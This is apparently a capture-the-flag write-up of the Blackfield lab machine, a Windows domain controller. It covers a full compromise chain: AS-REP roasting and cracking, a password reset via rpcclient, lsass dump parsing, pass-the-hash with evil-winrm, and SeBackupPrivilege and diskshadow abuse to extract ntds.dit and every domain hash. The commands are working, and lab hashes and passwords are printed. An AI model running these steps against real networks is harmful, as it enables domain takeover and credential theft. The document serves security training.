



Write up Blackfield



Blackfield

OS:  Windows

Difficulty: **Hard**

Points: **40**

Release: 06 Jun 2020

IP: 10.10.10.192

The icon on the left is a circular emblem with a red border. Inside, a stylized character with a black and white face and red suit is shown. The character is holding a white cable in their right hand and a chain with a yellow padlock in their left hand. The background of the emblem is split into blue and yellow sections.

Table of Contents

Enumeration	3
Nmap scan	3
SMB Shares Enumeration	4
Rpcclient	4
Exploitation	5
GetNPUsers.py	5
Cracking the intercepted hash	6
RPCclient.....	6
Access SMB share with updated password.....	7
Pass the hash svc_backup	9
Post-Exploitation	10
Checking Tokes	10
Exploiting the SeBackupPrivilege token	10
Changing File Permissions NTDS	12
Creating ShadowCopy	12
Pass the hash Administrator	15

Nmap scan

```

root@kali:~/home/kali# nmap -sV -sC --top-ports=6000 10.10.10.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 05:04 EDT
Nmap scan report for blackfield (10.10.10.192)
Host is up (0.10s latency).
Not shown: 5992 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
|_ fingerprint-strings:
|   DNSVersionBindReqTCP:
|       version
|       bind
|_
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-08 16:08:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org :
SF-Port53-TCP:V=7.80I=7%D=6/8%Time=5EDDFF33P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\x
SF:04bind\\0\\0\\x10\\0\\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: 7h03m53s
|_ smb2-security-mode:
|   2.02:
|_   Message signing enabled and required
|_ smb2-time:
|   date: 2020-06-08T16:11:04
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 222.11 seconds

```

This shows it's an Active Directory machine.

SMB Shares Enumeration

Because SMB is enabled I wanted to check for SMB shares.

smbclient -L 10.10.10.192

```
root@kali:/home/kali# smbclient -L 10.10.10.192
Enter WORKGROUP\root's password:

      Sharename      Type      Comment
      -----
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      forensic        Disk      Forensic / Audit share.
      IPC$            IPC       Remote IPC
      NETLOGON        Disk      Logon server share
      profiles$       Disk
      SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available
root@kali:/home/kali#
```

Only 1 share is anonymous accessible; profiles\$

smbclient //10.10.10.192/profiles\$

```
root@kali:/home/kali# smbclient //10.10.10.192/profiles$
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
.                D          0  Wed Jun  3 12:47:12 2020
..               D          0  Wed Jun  3 12:47:12 2020
AAlleni          D          0  Wed Jun  3 12:47:11 2020
ABartesi         D          0  Wed Jun  3 12:47:11 2020
ABekesz          D          0  Wed Jun  3 12:47:11 2020
ABenzies         D          0  Wed Jun  3 12:47:11 2020
ABiemiller       D          0  Wed Jun  3 12:47:11 2020
AChampken        D          0  Wed Jun  3 12:47:11 2020
```

But by examining the files there was nothing useful in these files.

Rpcclient

Also, anonymous login with RPC failed.

rpcclient 10.10.10.192

```
root@kali:/home/kali# rpcclient 10.10.10.192
Enter WORKGROUP\root's password:
Bad SMB2 signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 10 7C 04 E7 E5 94 1D 29 6E 0B 65 B1 58 39 6E 16 .|. ....) n.e.X9n.
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
root@kali:/home/kali#
```

Exploitation

After some enumeration of the services which are running I determined that we couldn't use any of this service for further enumeration. Because this is an Active Directory machine I looked for common Active Directory exploitation vectors.

Resource: <https://www.tarlogic.com/en/blog/how-to-attack-kerberos/>

We know SMB is enabled, so we can check with common usernames, if one of those usernames pre-auth is enabled for one of the users so we can intercept the hash and crack it.

GetNPUsers.py

Contents of usernames.txt

```
root@kali:/tmp/Blackfield# cat usernames.txt
administrator
support
svc_backup
root@kali:/tmp/Blackfield#
```

python GetNPUsers.py blackfield/dc-01 -usersfile usernames.txt -format john -outputfile intercepted_hash

```
root@kali:/tmp/Blackfield# python GetNPUsers.py blackfield/dc-01 -usersfile usernames.txt -format john -outputfile intercepted_hash
Impacket v0.9.21.dev1+20200225.153700.afe746d2 - Copyright 2020 SecureAuth Corporation

Password:
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
root@kali:/tmp/Blackfield#
```

We see that the support user isn't giving us a negative result. Because that user has pre-auth enabled. If we look in our intercepted_hash file we can see that we intercepted your hash.

```
root@kali:/tmp/Blackfield# cat intercepted_hash
$krb5asrep$support@BLACKFIELD:5562facc6319b9503bd8aff0b4220030$
def770bdefbead2c9e9432b09f231453d2a1f03aa738bec8345b8933a4ef2ec
8e8fabaf65248b6c3c0dc4f5b62a0415da5c069167be64d295f286f8fe15a64
root@kali:/tmp/Blackfield#
```

Cracking the intercepted hash

john --wordlist=/usr/share/wordlists/rockyou.txt intercepted_hash

```
root@kali:/tmp/Blackfield# john --wordlist=/usr/share/wordlists/rockyou.txt intercepted_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight ($krb5asrep$support@BLACKFIELD)
1g 0:00:00:37 DONE (2020-06-08 05:42) 0.02660g/s 381350p/s 381350c/s 381350C/s #1Warrior..#*khvc$^
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:/tmp/Blackfield#
```

Cracked password: #00^BlackKnight

The credentials are:

support: #00^BlackKnight

RPCclient

I couldn't access any SMB share with these credentials but I was able to login with rpcclient.

rpcclient -U support 10.10.10.192

```
root@kali:/tmp/Blackfield# rpcclient -U support 10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $>
```

First, I enumerated for more users.

enumdomusers

```
root@kali:/tmp/Blackfield# rpcclient -U support 10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
```

In rpcclient, you have an option called; setuserinfo2. With this option we can update a user's password.

The only user where I could do this successfully was by: audit2020

setuserinfo2 audit2020 23 IceL0rd

```
rpcclient $> setuserinfo2 audit2020 23 IceL0rd
rpcclient $>
```

Now that we have updated the audit2020 password, we can try if we can have access to an SMB share.

Access SMB share with updated password

Connecting to the forensic share.

smbclient -U 'blackfield\audit2020' '\\10.10.10.192\\forensic

```
root@kali:/tmp/Blackfield# smbclient -U 'blackfield\audit2020' '\\10.10.10.192\\forensic
Enter BLACKFIELD\audit2020's password:
Try "help" to get a list of possible commands.
smb: \>
```

After some enumeration of the SMB shares, I found an interesting file which can contain a hash.

```
smb: \> dir
.                D          0  Sun Feb 23 08:03:16 2020
..               D          0  Sun Feb 23 08:03:16 2020
commands_output  D          0  Sun Feb 23 13:14:37 2020
memory_analysis  D          0  Thu May 28 16:28:33 2020
tools            D          0  Sun Feb 23 08:39:08 2020

7846143 blocks of size 4096. 4115820 blocks available
smb: \> cd memory_analysis\
smb: \memory_analysis\> dir
.                D          0  Thu May 28 16:28:33 2020
..               D          0  Thu May 28 16:28:33 2020
conhost.zip      A 37876530  Thu May 28 16:25:36 2020
ctfmon.zip       A 24962333  Thu May 28 16:25:45 2020
dfsr.zip         A 23993305  Thu May 28 16:25:54 2020
dllhost.zip      A 18366396  Thu May 28 16:26:04 2020
ismserv.zip      A 8810157   Thu May 28 16:26:13 2020
lsass.zip        A 41936098  Thu May 28 16:25:08 2020
mmc.zip          A 64288607  Thu May 28 16:25:25 2020
RuntimeBroker.zip A 13332174  Thu May 28 16:26:24 2020
ServerManager.zip A 131983313 Thu May 28 16:26:49 2020
sihost.zip       A 33141744  Thu May 28 16:27:00 2020
smartscreen.zip  A 33756344  Thu May 28 16:27:11 2020
svchost.zip      A 14408833  Thu May 28 16:27:19 2020
taskhostw.zip    A 34631412  Thu May 28 16:27:30 2020
winlogon.zip     A 14255089  Thu May 28 16:27:38 2020
wlms.zip         A 4067425   Thu May 28 16:27:44 2020
WmiPrvSE.zip     A 18303252  Thu May 28 16:27:53 2020

7846143 blocks of size 4096. 4115820 blocks available
smb: \memory_analysis\>
```

Now download lsass.zip

smbget smb://10.10.10.192//forensic/memory_analysis/lsass.zip -U audit2020

```
root@kali:/tmp/Blackfield# smbget smb://10.10.10.192//forensic/memory_analysis/lsass.zip -U audit2020
Password for [audit2020] connecting to //forensic/10.10.10.192:
Using workgroup WORKGROUP, user audit2020
smb://10.10.10.192//forensic/memory_analysis/lsass.zip
Downloaded 39.99MB in 150 seconds
root@kali:/tmp/Blackfield# ls -al lsass.zip
-rwxr-xr-x 1 root root 41936098 Jun  8 06:18 lsass.zip
root@kali:/tmp/Blackfield#
```

I used mimidump to dump the hashes

pypykatz lsa minidump lsass.DMP

```
INFO:root:Parsing file lsass.DMP
FILE: ===== lsass.DMP =====
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
  == MSV ==
    Username: svc_backup
    Domain: BLACKFIELD
    LM: NA
    NT: 9658d1d1dcd9250115e2205d9f48400d
    SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
```

After this I am going to read out the dump file

svc_backup:9658d1d1dcd9250115e2205d9f48400d

Pass the hash svc_backup

Because port 5985 is open we can use evil-winrm to login with the hash.

evil-winrm -i blackfield -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'

```
root@kali:/tmp/Blackfield# evil-winrm -i blackfield -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
*Evil-WinRM* PS C:\Users\svc_backup\Documents> █
```

```
^[[A*Evil-WinRM* PS C:\Users\svc_backup\Desktop> hostname
DC01
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> type user.txt
edfe0635ed07b4985225117f6c3c9a7c
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

    Connection-specific DNS Suffix  . : 
    IPv6 Address. . . . . : dead:beef::1996:7a54:192b:dcf5
    Link-local IPv6 Address . . . . . : fe80::1996:7a54:192b:dcf5%17
    IPv4 Address. . . . . : 10.10.10.192
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 10.10.10.2
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>
```

Post-Exploitation

By enumerating the token, we can see that SeBackupPrivilege token is enabled.

Checking Tokes

Resource: <https://github.com/giuliano108/SeBackupPrivilege>

whoami /priv

```
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description              State
-----
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeBackupPrivilege      Back up files and directories  Enabled
SeRestorePrivilege      Restore files and directories  Enabled
SeShutdownPrivilege      Shut down the system         Enabled
SeChangeNotifyPrivilege  Bypass traverse checking     Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set  Enabled
*Evil-WinRM* PS C:\Users\svc_backup\Desktop>
```

Exploiting the SeBackupPrivilege token

First, we need to download the 2 dll, (see resource) and put on the system.

upload /tmp/Blackfield/exploitation/SeBackupPrivilegeUtils.dll

upload /tmp/Blackfield/exploitation/SeBackupPrivilegeCmdLets.dll

```
*Evil-WinRM* PS C:\temp> upload /tmp/Blackfield/exploitation/SeBackupPrivilegeCmdLets.dll
Info: Uploading /tmp/Blackfield/exploitation/SeBackupPrivilegeCmdLets.dll to C:\temp\SeBackupPrivilegeCmdLets.dll

Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\temp> upload /tmp/Blackfield/exploitation/SeBackupPrivilegeUtils.dll
Info: Uploading /tmp/Blackfield/exploitation/SeBackupPrivilegeUtils.dll to C:\temp\SeBackupPrivilegeUtils.dll

Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!

*Evil-WinRM* PS C:\temp> dir

Directory: C:\temp

Mode                LastWriteTime         Length Name
----                -
d-----          6/8/2020   6:37 AM                m
-a-----          6/8/2020  11:38 AM         12288 SeBackupPrivilegeCmdLets.dll
-a-----          6/8/2020  11:39 AM         16384 SeBackupPrivilegeUtils.dll
```

Now we need to import those 2 DLL's and enable the token.

Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege

Get-SeBackupPrivilege

```
*Evil-WinRM* PS C:\temp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\temp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\temp> Get-SeBackupPrivilege
```

But we can't copy the root flag, and read it.

```
*Evil-WinRM* PS C:\temp> robocopy c:\Users\administrator\Desktop\ c:\temp root.txt

-----
ROBOCOPY      ::      Robust File Copy for Windows
-----

Started : Monday, June 8, 2020 11:52:14 AM
Source  : c:\Users\administrator\Desktop\
Dest    : c:\temp\

Files : root.txt

Options : /DCOPY:DA /COPY:DAT /R:1000000 /W:30

-----

New File      1 c:\Users\administrator\Desktop\
              34 root.txt
2020/06/08 11:52:14 ERROR 5 (0x00000005) Copying File c:\Users\administrator\Desktop\root.txt
Access is denied.
```

Changing File Permissions NTDS

What we can do is changing file permission of the file ntds.dit (which contain administrator hash).

```
$user="blackfield.local\svc_backup"
```

```
$folder="C:\windows\ntds"
```

```
$acl = Get-Acl $folder
```

```
$rule = new-object System.Security.AccessControl.FileSystemAccessRule $user, "FullControl",  
"ContainerInherit, ObjectInherit", "None", "Allow"
```

```
$acl.AddAccessRule($rule)
```

```
Set-Acl -Path $folder -AclObject $acl
```

```
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $user="blackfield.local\svc_backup"  
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $folder="C:\windows\ntds"  
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $acl = Get-Acl $folder  
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $rule = new-object System.Security.AccessControl.FileSystemAccessRule $user, "FullControl", "ContainerInherit, ObjectInherit", "None", "Allow"  
*Evil-WinRM* PS C:\Users\svc_backup\Documents> $acl.AddAccessRule($rule)  
*Evil-WinRM* PS C:\Users\svc_backup\Documents> Set-Acl -Path $folder -AclObject $acl
```

Creating ShadowCopy

In order to create a shadow, copy we run diskshadow with the following lines:

```
set metadata C:\temp\backup.cab
```

```
set context clientaccessibles
```

```
set context persistents
```

```
begin backups
```

```
add volume c: alias mydrives
```

```
creates
```

```
expose %mydrive% z:s
```

```
root@kali:/tmp/Blackfield/exploitation# cat script.txt  
set metadata C:\temp\backup.cab  
set context clientaccessibles  
set context persistents  
begin backups  
add volume c: alias mydrives  
creates  
expose %mydrive% z:s  
root@kali:/tmp/Blackfield/exploitation#
```

Uploaded it to target system.

upload /tmp/Blackfield/exploitation/script.txt

```
*Evil-WinRM* PS C:\temp> upload /tmp/Blackfield/exploitation/script.txt
Info: Uploading /tmp/Blackfield/exploitation/script.txt to C:\temp\script.txt

Data: 208 bytes of 208 bytes copied

Info: Upload successful!
```

Diskshadow /s script.txt

```
*Evil-WinRM* PS C:\temp> diskshadow /s script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 6/7/2020 7:00:16 PM

-> set metadata C:\temp\backup.ca
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume c: alias mydrive
-> create

Alias mydrive for shadow ID {546b4d98-34e2-448a-b533-98c42d8db3b8} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {ad73e6c0-261c-43ad-a22e-13682f924297} set as environment variable.

Querying all shadow copies with the shadow copy set ID {ad73e6c0-261c-43ad-a22e-13682f924297}

    * Shadow copy ID = {546b4d98-34e2-448a-b533-98c42d8db3b8}                %mydrive%
      - Shadow copy set: {ad73e6c0-261c-43ad-a22e-13682f924297}            %VSS_SHADOW_SET%
      - Original count of shadow copies = 1
      - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:]
      - Creation time: 6/7/2020 7:01:31 PM
      - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
      - Originating machine: DC01.BLACKFIELD.local
      - Service machine: DC01.BLACKFIELD.local
      - Not exposed
      - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
      - Attributes: No_Auto_Release Persistent Differential

Number of shadow copies listed: 1
-> expose %mydrive% z:
-> %mydrive% = {546b4d98-34e2-448a-b533-98c42d8db3b8}
The shadow copy was successfully exposed as z:.
->
Note: END BACKUP was not commanded, writers not notified BackupComplete.
DiskShadow is exiting.
```

If we look now in our directories we see 2 files that we need to download in order to dump the hash.

Mode	LastWriteTime		Length	Name
----	-----	-----	-----	----
-a----	6/7/2020	7:01 PM	262470	1234.exe
-a----	6/7/2020	7:04 PM	325033	12345.exe
-a----	6/7/2020	7:01 PM	371355	backup.ca
-a----	6/7/2020	6:23 PM	208	bing.url
-a----	6/7/2020	7:57 PM	17891328	LOCAL
-a----	6/7/2020	7:48 PM	12582912	ntds.dit
-a----	6/7/2020	7:48 PM	14976	ntds.INTEG.RAW
-a----	6/7/2020	7:48 PM	16384	ntds.jfm
-a----	6/7/2020	6:44 PM	45056	sam.hive
-a----	6/7/2020	6:58 PM	158	script.txt
-a----	6/7/2020	6:20 PM	12288	SeBackupPrivilegeCmdLets.dll
-a----	6/7/2020	6:20 PM	16384	SeBackupPrivilegeUtils.dll
-a----	6/7/2020	7:14 PM	17784832	SYS
-a----	6/7/2020	6:38 PM	17784832	SYSTEM.bak
-a----	6/7/2020	6:43 PM	17784832	system.hive

Now we have the 2 files we needed on the Kali system.

```
root@kali:/tmp/Blackfield/exploitation# ls -al ntds.dit SYSTEM.bak
-rw-r--r-- 1 root root 18874368 Jun  8 08:26 ntds.dit
-rw-r--r-- 1 root root 17891328 Jun  8 08:27 SYSTEM.bak
root@kali:/tmp/Blackfield/exploitation#
```

Now we can sue secretsdump.py in order to dump the hash.

python secretsdump.py -ntds ntds.dit -system SYSTEM.bak LOCAL -outputfile admin_hash

```
root@kali:/tmp/Blackfield/exploitation# python secretsdump.py -ntds ntds.dit -system SYSTEM.bak LOCAL -outputfile admin_hash
Impacket v0.9.21.dev1+20200225.153700.afe746d2 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd511b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
```

head -n 5 admin_hash.ntds

```
root@kali:/tmp/Blackfield/exploitation# head -n 5 admin_hash.ntds
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
root@kali:/tmp/Blackfield/exploitation#
```

Administrator:184fb5e5178480be64824d4cd53b99ee

Pass the hash Administrator

evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

```
root@kali:/tmp/Blackfield# evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

    Connection-specific DNS Suffix  . : 
    IPv6 Address. . . . . : dead:beef::c73:997b:e00a:17a7
    Link-local IPv6 Address . . . . . : fe80::c73:997b:e00a:17a7%17
    IPv4 Address. . . . . : 10.10.10.192
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:7eaa%17
                                fe80::250:56ff:feb9:8535%17
                                10.10.10.2
*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\Users\Administrator\Desktop\root.txt
8b9a3657e36c1ed4e1b8be33fc02e1bd
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```